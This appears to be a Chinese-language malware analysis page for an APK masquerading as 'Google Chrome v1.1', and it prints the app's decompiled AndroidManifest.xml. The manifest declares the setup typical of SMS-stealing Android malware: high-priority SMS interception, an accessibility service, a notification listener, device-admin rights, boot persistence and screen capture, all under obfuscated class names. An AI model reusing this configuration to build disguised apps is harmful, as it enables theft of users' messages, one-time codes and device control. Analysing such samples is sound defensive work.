APK逆向工程 - “Google Chrome v1.1” 源代码分析


源码分析说明


当前分析文件:Google Chrome v1.1 -- AndroidManifest.xml

本分析报告仅用于安全研究目的,禁止用于任何非法用途。所有操作均需遵守当地法律法规。


<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="5" android:versionName="1.1" android:compileSdkVersion="33" android:compileSdkVersionCodename="13" package="com.takestandc" platformBuildVersionCode="33" platformBuildVersionName="13">
  <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="33"/>
  <uses-feature android:name="android.hardware.telephony" android:required="false"/>
  <uses-permission android:name="android.permission.BATTERY_STATS"/>
  <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
  <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT"/>
  <uses-permission android:name="android.permission.CLEAR_APP_CACHE"/>
  <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.GET_PACKAGE_SIZE"/>
  <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
  <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/>
  <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
  <uses-permission android:name="android.permission.READ_SMS"/>
  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.INSTALL_SHORTCUT"/>
  <uses-permission android:name="android.permission.WAKE_LOCK"/>
  <uses-permission android:name="android.permission.USE_EXACT_ALARM"/>
  <uses-permission android:name="android.permission.CALL_PHONE"/>
  <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
  <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
  <uses-permission android:name="android.permission.FOREGROUND_SERVICE_TYPE_NONE"/>
  <uses-permission android:name="android.permission.SEND_SMS"/>
  <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
  <uses-permission android:name="android.permission.READ_CONTACTS"/>
  <uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION"/>
  <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
  <uses-permission android:name="android.permission.ADD_VOICEMAIL"/>
  <uses-permission android:name="android.permission.VIBRATE"/>
  <uses-permission android:name="android.permission.REQUEST_COMPANION_RUN_IN_BACKGROUND"/>
  <uses-permission android:name="android.permission.REQUEST_COMPANION_USE_DATA_IN_BACKGROUND"/>
  <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
  <uses-permission android:name="android.permission.RECEIVE_SMS"/>
  <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
  <uses-permission android:name="android.permission.REORDER_TASKS"/>
  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
  <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
  <uses-permission android:name="android.permission.USE_FINGERPRINT"/>
  <uses-permission android:name="android.permission.USES_POLICY_FORCE_LOCK"/>
  <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY"/>
  <application android:theme="@7F040000" android:label="@7F030001" android:icon="@7F010000" android:name="com.enact.anchor.Dpersonhorror" android:allowBackup="false" android:hardwareAccelerated="true" android:extractNativeLibs="false" android:usesCleartextTraffic="true">
    <uses-library android:name="org.apache.http.legacy" android:required="false"/>
    <activity android:label="@7F030001" android:name="com.takestandc.p045m" android:exported="true" android:excludeFromRecents="true" android:screenOrientation="10" android:noHistory="false">
      <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.INFO"/>
      </intent-filter>
      <intent-filter android:priority="1">
        <action android:name="android.app.action.ANGLE_FOR_ANDROID"/>
        <category android:name="android.intent.category.DEFAULT"/>
      </intent-filter>
      <intent-filter>
        <action android:name="android.service.quicksettings.action.QS_TILE_PREFERENCES"/>
      </intent-filter>
      <intent-filter>
        <action android:name="com.android.settings.action.IA_SETTINGS"/>
      </intent-filter>
    </activity>
    <activity android:theme="@7F040000" android:name="com.takestandc.p012i" android:exported="false" android:excludeFromRecents="true" android:noHistory="true"/>
    <activity android:theme="@7F040000" android:name="com.takestandc.p031p" android:exported="false" android:excludeFromRecents="true" android:noHistory="true"/>
    <activity android:theme="@7F040000" android:name="com.takestandc.p010i" android:exported="false" android:excludeFromRecents="true"/>
    <activity android:name="com.takestandc.p095i" android:exported="false" android:excludeFromRecents="true" android:launchMode="2"/>
    <activity android:theme="@android:0103000B" android:name="com.takestandc.p094r" android:exported="false" android:excludeFromRecents="true"/>
    <activity android:theme="@android:01030007" android:label="" android:icon="@7F010001" android:name="com.takestandc.p047q" android:exported="false" android:excludeFromRecents="true" android:launchMode="2" android:screenOrientation="10" android:windowSoftInputMode="0x00000010" android:hardwareAccelerated="true"/>
    <activity android:theme="@android:01030007" android:name="com.takestandc.p026y" android:exported="false" android:excludeFromRecents="true" android:launchMode="2" android:screenOrientation="10" android:windowSoftInputMode="0x00000010"/>
    <receiver android:label="@7F030001" android:name="com.takestandc.p094b" android:permission="android.permission.BIND_DEVICE_ADMIN" android:exported="false">
      <meta-data android:name="android.app.device_admin" android:resource="@7F050001"/>
      <intent-filter>
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
        <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/>
      </intent-filter>
    </receiver>
    <receiver android:name="com.takestandc.p041y" android:exported="true">
      <intent-filter android:priority="999">
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
      </intent-filter>
    </receiver>
    <receiver android:name="com.takestandc.p029x" android:permission="android.permission.BROADCAST_SMS" android:exported="true">
      <intent-filter>
        <action android:name="android.provider.Telephony.SMS_DELIVER"/>
      </intent-filter>
    </receiver>
    <receiver android:name="com.takestandc.p012k" android:permission="android.permission.BROADCAST_WAP_PUSH" android:exported="true">
      <intent-filter>
        <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
        <data android:mimeType="application/vnd.wap.mms-message"/>
      </intent-filter>
    </receiver>
    <activity android:name="com.takestandc.p037k" android:exported="false">
      <intent-filter>
        <action android:name="android.intent.action.SEND"/>
        <action android:name="android.intent.action.SENDTO"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="sms"/>
        <data android:scheme="smsto"/>
        <data android:scheme="mms"/>
        <data android:scheme="mmsto"/>
      </intent-filter>
    </activity>
    <service android:name="com.takestandc.p074x" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:exported="true">
      <intent-filter>
        <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:scheme="sms"/>
        <data android:scheme="smsto"/>
        <data android:scheme="mms"/>
        <data android:scheme="mmsto"/>
      </intent-filter>
    </service>
    <receiver android:name="com.takestandc.p089j" android:enabled="true" android:exported="false"/>
    <receiver android:name="com.takestandc.p076w" android:enabled="true" android:exported="true">
      <intent-filter android:priority="999">
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
        <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
        <action android:name="android.intent.action.USER_PRESENT"/>
        <action android:name="android.intent.action.PACKAGE_ADDED"/>
        <action android:name="android.intent.action.PACKAGE_REMOVED"/>
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
        <action android:name="android.intent.action.SCREEN_ON"/>
        <action android:name="android.intent.action.SCREEN_OFF"/>
        <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE"/>
        <category android:name="android.intent.category.HOME"/>
        <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
        <action android:name="android.net.wifi.WIFI_STATE_CHANGED"/>
        <action android:name="android.intent.action.DREAMING_STOPPED"/>
      </intent-filter>
    </receiver>
    <service android:name="com.takestandc.p021y" android:exported="false"/>
    <service android:name="com.takestandc.p042a" android:foregroundServiceType="0x00000001"/>
    <service android:name="com.takestandc.p099j" android:exported="false"/>
    <service android:name="com.takestandc.p066t" android:enabled="true" android:exported="false" android:foregroundServiceType="0x00000021"/>
    <service android:name="com.takestandc.p062h" android:exported="false"/>
    <service android:label="@7F030001" android:name="com.takestandc.p016e" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" android:enabled="true" android:exported="false" android:foregroundServiceType="0x00000001">
      <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService"/>
      </intent-filter>
      <meta-data android:name="android.accessibilityservice" android:resource="@7F050000"/>
    </service>
    <service android:name="com.takestandc.p019b" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" android:exported="false">
      <intent-filter>
        <action android:name="android.service.notification.NotificationListenerService"/>
      </intent-filter>
    </service>
    <receiver android:name="com.takestandc.p022b"/>
    <receiver android:name="com.takestandc.p074t"/>
    <activity android:name="com.takestandc.p054d"/>
    <activity android:name="com.takestandc.p013f"/>
    <service android:name="com.takestandc.p088h"/>
    <service android:name="com.takestandc.p034t"/>
  </application>
</manifest>